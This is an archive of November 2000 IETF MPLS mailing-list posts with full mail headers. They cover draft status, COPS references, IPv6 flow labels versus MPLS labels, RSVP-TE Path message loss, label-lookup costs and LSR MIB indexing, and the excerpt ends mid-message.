Content-Transfer-Encoding: 7bit Hello,

I would like to know what is the current status of the following documents.
I guess my information is quite obsolete. Thanks a lot.

** With rfc editor
Multiprotocol Label Switching Architecture
MPLS Label Stack Encoding

** Awaiting final IESG approval
Use of Label Switching on Frame Relay
VCID Notification over ATM link for LDP
LDP State Machine
MPLS using LDP and ATM VC Switching
LDP Applicability
Applicability Statement for Extensions to RSVP for LSP-Tunnels

** Awaiting IESG Last Call
Carrying Label Information in BGP-4
ICMP Extensions for MultiProtocol Label Switching

** IESG comment resolution
A Framework for MPLS
Extensions to RSVP for LSP Tunnels
Constraint-Based LSP Setup using LDP
Applicability Statement for CR-LDP

** WG Last Call
LDP Specification
MPLS Support o Differentiated Services

** WG Last Call comment resolution
Definitions of Managed Objects for the MPLS, LDP
MPLS Label Switch Router Management Information Base Using SMIv2
 

Diego Otero

--
http://www.geocities.com/diego_otero/
Tel. +34 679 765 191
  From owner-mpls@UU.NET Mon Nov 20 09:48:28 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA11410 for ; Mon, 20 Nov 2000 09:48:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdf23131; Mon, 20 Nov 2000 14:46:56 GMT Received: by mail-control.mail.uu.net id QQjqdf29053 for mpls-outgoing; Mon, 20 Nov 2000 14:46:32 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqdf29015 for ; Mon, 20 Nov 2000 14:46:28 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdf20422 for ; Mon, 20 Nov 2000 14:45:46 GMT From: seenu@samsung.co.kr Received: from omail01.samsung.co.kr by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omail01.samsung.co.kr [203.254.197.73]) id QQjqdf00498 for ; Mon, 20 Nov 2000 14:45:44 GMT Received: from localhost (root@localhost) by gp_xman. (8.8.8H1/8.8.8) with ESMTP id XAA00175 for ; Mon, 20 Nov 2000 23:46:57 +0900 (KST) X-OpenMail-Hops: 2 Date: Mon, 20 Nov 2000 23:46:06 +0900 Message-Id: Subject: COPS site pls MIME-Version: 1.0 TO: mpls@UU.NET Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="mail.txt" ;Creation-Date="Mon, 20 Nov 2000 23:44:20 +0900" ;Modification-Date="Mon, 20 Nov 2000 23:46:01 +0900" Content-Transfer-Encoding: 8bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit Hi, Can anyone suggest me some good site for COPS and referrence books regards seenu samsung India Software Operations Bangalore From owner-mpls@UU.NET Mon Nov 20 10:13:31 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12337 for ; Mon, 20 Nov 2000 10:13:31 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdg09225; Mon, 20 Nov 2000 15:11:33 GMT Received: by mail-control.mail.uu.net id QQjqdg12715 for mpls-outgoing; Mon, 20 Nov 2000 15:10:52 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqdg12704 for ; Mon, 20 Nov 2000 15:10:44 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdg25382 for ; Mon, 20 Nov 2000 15:10:25 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjqdg03701 for ; Mon, 20 Nov 2000 15:10:25 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id HAA05909 for ; Mon, 20 Nov 2000 07:10:24 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA12282 for mpls@uu.net; Mon, 20 Nov 2000 10:10:23 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpym19944 for ; Sun, 19 Nov 2000 08:08:46 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpym06189 for ; Sun, 19 Nov 2000 08:08:41 GMT Received: from mail.hamdard.net.pk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.135.57.5]) id QQjpym07010 for ; Sun, 19 Nov 2000 08:08:38 GMT Received: from faisal-s ([203.135.57.218]) by mail.hamdard.net.pk (8.9.3/8.9.3) with SMTP id NAA30015 for ; Sun, 19 Nov 2000 13:07:24 +0500 Message-ID: <000f01c05200$49328860$da3987cb@faisal-s> From: "Faisal S. Naik" To: "mpls uunet" Subject: difference Date: Sun, 19 Nov 2000 13:11:11 +0500 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello friends, I need to know what are the similarities or differnces between the Flow label field of Ipv6 and the label field in the MPLS shim header. Incase of an IPv6 network working with MPLS, what role will each field of their respective technologies play? Best Regards, --------- Faisal S. Naik Senior Network Engineer, Hamdard Education Network, Hamdard University, Karachi. Ph: (92)-021-4383986-7 From owner-mpls@UU.NET Mon Nov 20 10:14:02 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12360 for ; Mon, 20 Nov 2000 10:13:57 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdg12478; Mon, 20 Nov 2000 15:11:36 GMT Received: by mail-control.mail.uu.net id QQjqdg12721 for mpls-outgoing; Mon, 20 Nov 2000 15:10:57 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqdg12706 for ; Mon, 20 Nov 2000 15:10:46 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdg25948 for ; Mon, 20 Nov 2000 15:10:37 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjqdg03960 for ; Mon, 20 Nov 2000 15:10:35 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id HAA06017 for ; Mon, 20 Nov 2000 07:10:33 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA12286 for mpls@uu.net; Mon, 20 Nov 2000 10:10:33 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpzw01403 for ; Sun, 19 Nov 2000 17:02:07 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpzw19640 for ; Sun, 19 Nov 2000 17:02:05 GMT Received: from mailweb5.rediffmail.com by cmr2.ash.ops.us.uu.net with SMTP (peer crosschecked as: [202.54.124.150]) id QQjpzw00901 for ; Sun, 19 Nov 2000 17:02:03 GMT Received: (qmail 23400 invoked by uid 510); 19 Nov 2000 16:55:56 -0000 Date: 19 Nov 2000 16:55:56 -0000 Message-ID: <20001119165556.23399.qmail@mailweb5.rediffmail.com> MIME-Version: 1.0 To: "mpls@uu.net" Subject: LSP setup using RSVP-TE From: "Vadlamani rao" Content-ID: Content-type: text/plain Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello, What happens if the Path message using the RSVP-TE mechanism is lost in the network ? Currently, if I understand correctly there is no way for the ingress LSR (which initiates the LSP setup) to know about it, since the refresh timer starts only after the RESV is received. If this is true, the HELLO mechanism specified in the draft should have been mandatory to be implemented and not optional. Could somebody clarify this ? Thanks Raovrn _____________________________________________________ Chat with your friends as soon as they come online. Get Rediff Bol at http://bol.rediff.com Participate in crazy auctions at http://auctions.rediff.com/auctions/ From owner-mpls@UU.NET Mon Nov 20 10:16:21 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12401 for ; Mon, 20 Nov 2000 10:16:21 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdg15226; Mon, 20 Nov 2000 15:13:08 GMT Received: by mail-control.mail.uu.net id QQjqdg12928 for mpls-outgoing; Mon, 20 Nov 2000 15:12:29 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdg12908 for ; Mon, 20 Nov 2000 15:12:18 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdg22594 for ; Mon, 20 Nov 2000 15:11:30 GMT Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjqdg12295 for ; Mon, 20 Nov 2000 15:11:30 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id HAA06048 for ; Mon, 20 Nov 2000 07:11:34 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA12294 for mpls@uu.net; Mon, 20 Nov 2000 10:11:28 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqae07737 for ; Sun, 19 Nov 2000 19:14:12 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqae28449 for ; Sun, 19 Nov 2000 19:12:05 GMT Received: from femail6.sdc1.sfba.home.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: femail6.sdc1.sfba.home.com [24.0.95.86]) id QQjqae18255 for ; Sun, 19 Nov 2000 19:12:05 GMT Received: from c1052242a.frmt1.sfba.home.com ([24.19.208.28]) by femail6.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001119191205.EYNX2410.femail6.sdc1.sfba.home.com@c1052242a.frmt1.sfba.home.com>; Sun, 19 Nov 2000 11:12:05 -0800 Message-ID: <00b801c052c1$67370a40$1cd01318@frmt1.sfba.home.com> From: "Manohar Ellanti" To: Cc: Subject: multiple lookups per packet Date: Sun, 19 Nov 2000 23:13:37 -0800 Organization: @home MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit SC, I think you raised an important concern regarding the direction MPLS is taking us and our ability to see its final role in the internet. To me sometimes it appears that MPLS is more of an interim solution/attempt to fit/reuse ATM hardware to provide fast IP switching. On the other hand there are genuine concerns from traffic engineering perspective that large ISPs ,such as UUNET, that would like to see some control over routing compared to best effort and hop-by-hop routing. They need to establish paths in the network that are determined by operator or by dynamic traffic engineering constraints. MPLS architecture does provide lot of advantages to do that. QoS Provisioning platforms should be able to perform better compared to traditional models (IntServ or DiffServ) vs label based QoS. In the presence of multiple label lookup, this is an issue only at the de-aggregation point or the penultimate hop. There might be some implementation improvements such as hardware caching or some low level software in the data forwarding/switching path that might not make multiple label lookup come in the way of switching at line speed. One can always add latency of 125uSec (All SONET equipment adds latency of 125 uSec) that will provide some breathing space for the LSR/LER. This means LSR is processing a Packet that will be sent 125uSecond later. However I don't think multiple lable look up performance issue will arise due to use of deep nesting in practical deployment. Any level more than 2 or 3 might be questionable traffic engineering practice although I can't rule out such a scenario. But generally aggregation/deaggregation will be done but one must balance against what will be gained by too much aggregation vs using separate LSP. -Manohar From owner-mpls@UU.NET Mon Nov 20 10:19:51 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12484 for ; Mon, 20 Nov 2000 10:19:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdh11879; Mon, 20 Nov 2000 15:15:09 GMT Received: by mail-control.mail.uu.net id QQjqdg13238 for mpls-outgoing; Mon, 20 Nov 2000 15:14:39 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdg13226 for ; Mon, 20 Nov 2000 15:14:31 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdg28960 for ; Mon, 20 Nov 2000 15:14:15 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqdg17211 for ; Mon, 20 Nov 2000 15:14:15 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA16111 for mpls@uu.net; Mon, 20 Nov 2000 10:14:14 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdg13147 for ; Mon, 20 Nov 2000 15:13:35 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdg26601 for ; Mon, 20 Nov 2000 15:13:15 GMT Received: from xover.hjinc.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjqdg08126 for ; Mon, 20 Nov 2000 15:13:15 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 10:11:08 -0500 Message-ID: <87009604743AD411B1F600508BA0F9591AEC9B@xover.hjinc.com> From: "Friedeborn, William" To: "'Cucchiara, Joan'" , "Friedeborn, William" , "'mpls@uu.net'" Subject: RE: LSR MIB, OutSegment Index Date: Mon, 20 Nov 2000 10:11:07 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk What I ended up doing was dividing the index range between the line cards and assigned indexes appropriately. I thought a little bit more on this and maybe it's not so bad (other than it limits the number of outsegments). thanks for the response! Bill F. -----Original Message----- From: Cucchiara, Joan [mailto:JCucchiara@Brixnet.com] Sent: Sunday, November 19, 2000 6:07 PM To: 'Friedeborn, William'; 'mpls@uu.net' Subject: RE: LSR MIB, OutSegment Index Bill, This issue was raised during the last call of the LSR MIB by yours truly. I agree with you that the OutSegment Table should ifIndex and OutLabel as indices. Also, this would mean that the XC Table would change to include these as indices also. Was this change to the OutSegment and XC Tables overlooked? Thanks, Joan > -----Original Message----- > From: Friedeborn, William [mailto:billf@netplane.com] > Sent: Friday, November 17, 2000 2:23 PM > To: 'mpls@uu.net' > Subject: re: LSR MIB, OutSegment Index > > > I've been working with the LSR and TE MIBs for a while and > have run into > some implementation problems with the OutSegment objects. In > a monolithic > environment it is pretty straight forward to implement the > OutSegment table. > However, in a distributed environment, this is quite challenging. > > What is the reasoning behind using an IndexNext object to get > the OutSegment > Index? The InSegment table is indexed by IfIndex and Label, > which makes it > very easy to distribute. I can look at the ifIndex and know > what line card > has the InSegment object. On the other hand the OutSegment > table only has > the abtract OutSegmentIndex. I would have to go to each line > card to find > out which one has that index, or maintain lists of indexes to > ifIndexes on > each line card. > > It just seems like an added indirection that creates more > complexity. Am I > missing something here? > > Thanks, > Bill > From owner-mpls@UU.NET Mon Nov 20 10:23:50 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12624 for ; Mon, 20 Nov 2000 10:23:49 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdh27679; Mon, 20 Nov 2000 15:22:11 GMT Received: by mail-control.mail.uu.net id QQjqdh14156 for mpls-outgoing; Mon, 20 Nov 2000 15:21:37 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdh14128 for ; Mon, 20 Nov 2000 15:21:30 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdh12469 for ; Mon, 20 Nov 2000 15:20:22 GMT From: wesam.alanqar@mail.sprint.com Received: from damgwp01.corp.sprint.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [199.14.91.106]) id QQjqdh20671 for ; Mon, 20 Nov 2000 15:20:21 GMT Received: from kcmgwp02.corp.sprint.com (kcmgwp02 [10.185.6.93]) by damgwp01.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eAKFPRd14550; Mon, 20 Nov 2000 09:25:27 -0600 (CST) Received: from kcopmp02.corp.sprint.com (kcopmp02m.corp.sprint.com [10.74.2.73]) by kcmgwp02.corp.sprint.com (Switch-2.0.2/Switch-2.0.2) with ESMTP id eAKFKJj24146; Mon, 20 Nov 2000 09:20:20 -0600 (CST) Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id JAA12175; Mon, 20 Nov 2000 09:20:19 -0600 (CST) X-OpenMail-Hops: 1 Date: Mon, 20 Nov 2000 09:20:18 -0600 Message-Id: Subject: RE: COPS site pls MIME-Version: 1.0 TO: mpls@UU.NET, seenu@samsung.co.kr Content-Type: multipart/mixed; boundary="openmail-part-15f26afc-00000001" Sender: owner-mpls@UU.NET Precedence: bulk --openmail-part-15f26afc-00000001 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Mon, 20 Nov 2000 09:20:16 -0600" Content-Transfer-Encoding: 8bit Check http://ietf.org/html.charters/rap-charter.html ------------------------------------------------------------------------ - Wesam Alanqar Member of Technical Staff Technology Concepts, Innovations and Evaluation (TCIE) Technology Planning & Integration- Sprint TP&I 9300 Metcalf Avenue Overland Park, KS 66212-1463 Phone: 913-534-5623 Fax: 913-534-3485 ------------------------------------------------------------------------ - --openmail-part-15f26afc-00000001 Content-Type: message/rfc822 Date: Mon, 20 Nov 2000 08:46:06 -0600 Message-Id: Subject: COPS site pls MIME-Version: 1.0 From: seenu/unix////////RFC-822/seenu#a#samsung#f#co#f#kr@kcopmp02 TO: mpls@UU.NET CC: seenu@samsung.co.kr Content-Type: multipart/Mixed; boundary="openmail-part-15f26afc-00000002" --openmail-part-15f26afc-00000002 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline ;Creation-Date="Mon, 20 Nov 2000 09:20:17 -0600" Content-Transfer-Encoding: 7bit Hi, Can anyone suggest me some good site for COPS and referrence books regards seenu samsung India Software Operations Bangalore --openmail-part-15f26afc-00000002-- --openmail-part-15f26afc-00000001-- From owner-mpls@UU.NET Mon Nov 20 10:46:52 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA13403 for ; Mon, 20 Nov 2000 10:46:52 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdi04808; Mon, 20 Nov 2000 15:44:59 GMT Received: by mail-control.mail.uu.net id QQjqdi16607 for mpls-outgoing; Mon, 20 Nov 2000 15:44:02 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqdi16552 for ; Mon, 20 Nov 2000 15:43:44 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdi04235 for ; Mon, 20 Nov 2000 15:43:08 GMT Received: from mail.dit.upm.es by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.dit.upm.es [138.4.2.7]) id QQjqdi28966 for ; Mon, 20 Nov 2000 15:43:07 GMT Received: from jungla.dit.upm.es (IDENT:root@jungla.dit.upm.es [138.4.0.11]) by mail.dit.upm.es (8.9.3/8.9.3) with ESMTP id QAA14880; Mon, 20 Nov 2000 16:43:05 +0100 Received: from dit.upm.es (tasio.dit.upm.es [138.4.7.155]) by jungla.dit.upm.es (8.9.3/8.9.3) with ESMTP id QAA06907; Mon, 20 Nov 2000 16:43:05 +0100 Message-ID: <3A199CBA.FA788046@dit.upm.es> Date: Mon, 20 Nov 2000 16:50:51 -0500 From: Daniel Organization: DIT-UPM X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: faisal@hamdard.net.pk, mpls uunet Subject: MPLS-flow label field IPv6 Content-Type: text/plain; charset=iso-8859-1 Sender: owner-mpls@UU.NET Precedence: bulk X-MIME-Autoconverted: from 8bit to quoted-printable by cmr2.ash.ops.us.uu.net id QQjqdi04808 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA13403 Hello Faisal Please, you see this draft: http://home.bn-ulm.de/~ulzoppo/draft-metzler-ipv6-flowlabel-00.txt Daniel Díaz A. *********************************************** Universidad Politécnica de Madrid-UPM Ciudad Universitaria S/N. 28040 Madrid, España. Tel:91 549 5700.Anexo 445. Oficina: 205-B. *********************************************** <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <; Mon, 20 Nov 2000 10:57:20 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdj20813; Mon, 20 Nov 2000 15:55:14 GMT Received: by mail-control.mail.uu.net id QQjqdj17708 for mpls-outgoing; Mon, 20 Nov 2000 15:54:35 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqdj17670 for ; Mon, 20 Nov 2000 15:54:26 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdj04039 for ; Mon, 20 Nov 2000 15:52:34 GMT Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjqdj16880 for ; Mon, 20 Nov 2000 15:52:34 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA01107 for ; Mon, 20 Nov 2000 10:52:32 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA18355 for ; Mon, 20 Nov 2000 10:52:31 -0500 (EST) Message-ID: <3A1948CB.192B8047@marconi.com> Date: Mon, 20 Nov 2000 10:52:43 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: mpls uunet Subject: Re: difference References: <000f01c05200$49328860$da3987cb@faisal-s> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit "Faisal S. Naik" wrote: > > I need to know what are the similarities or differnces between the > Flow label field of Ipv6 and the label field in the MPLS shim header. > Incase of an IPv6 network working with MPLS, what role will each field > of their respective technologies play? Acording to RFC 2460, the flow label field is used to identify flows that require special handling. The actual use of the field is documented as experimental (in section 6). The details of what the "special handling" means is something that must either be configured or signalled and is beyond the scope of RFC 2460. While there does appear to be some overlap between flow labels and MPLS labels, there are some important differences: 1: IPv6 does not require all packets to have flow labels. In fact, packets that don't require special handling are not supposed to have them at all. (ie. the flow label is set to 0). 2: Flow labels are not swapped as the packet traverses the network. 3: The meaning of these flow labels must still be signalled or configured. In order to prevent network-wide conflicts, some kind of signalling for label selection must also exist. Which implies a need for something like LDP or RSVP-TE. I'm no expert here, but it seems to me that IPv6 flow labels would not be used if another mechanism (like MPLS) is already in place. Leaving the flow label out (setting it to zero) is acceptible, and MPLS provides its own, more robust, mechanism for labeling packets. -- David From owner-mpls@UU.NET Mon Nov 20 11:03:10 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14449 for ; Mon, 20 Nov 2000 11:03:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdj00481; Mon, 20 Nov 2000 15:59:33 GMT Received: by mail-control.mail.uu.net id QQjqdj18060 for mpls-outgoing; Mon, 20 Nov 2000 15:58:53 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqdj18055 for ; Mon, 20 Nov 2000 15:58:52 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdj07199 for ; Mon, 20 Nov 2000 15:57:51 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjqdj21199 for ; Mon, 20 Nov 2000 15:57:50 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id HAA10669; Mon, 20 Nov 2000 07:57:44 -0800 (PST) Received: from localhost (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) with ESMTP id KAA12483; Mon, 20 Nov 2000 10:57:44 -0500 (EST) Message-Id: <200011201557.KAA12483@erosen-sun.cisco.com> X-Authentication-Warning: erosen-sun.cisco.com: erosen owned process doing -bs To: Kalpesh Sheth cc: "'Eyad Saheb'" , "'mpls@uu.net'" Subject: Re: multiple lookups per packet In-reply-to: Your message of Fri, 17 Nov 2000 14:35:48 -0500. <7F4AC78738EAD2119D86009027626C6D012CEEC6@packetbdc.riverdelta.com> Reply-To: erosen@cisco.com User-Agent: EMH/1.10.0 WEMI/1.13.2 (Mochimune) FLIM/1.12.1 (=?ISO-8859-4?Q?Nishinoky=F2?=) Emacs/20.6 (sparc-sun-solaris2.5.1) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by WEMI 1.13.2 - "Mochimune") Content-Type: text/plain; charset=US-ASCII Date: Mon, 20 Nov 2000 10:57:43 -0500 From: Eric Rosen Sender: owner-mpls@UU.NET Precedence: bulk If you are designing an LSR, what you have to be concerned with is not how large the label stack could be in theory, but rather with how many lookups you need to do to support the necessary functions. Generally, you can use php to 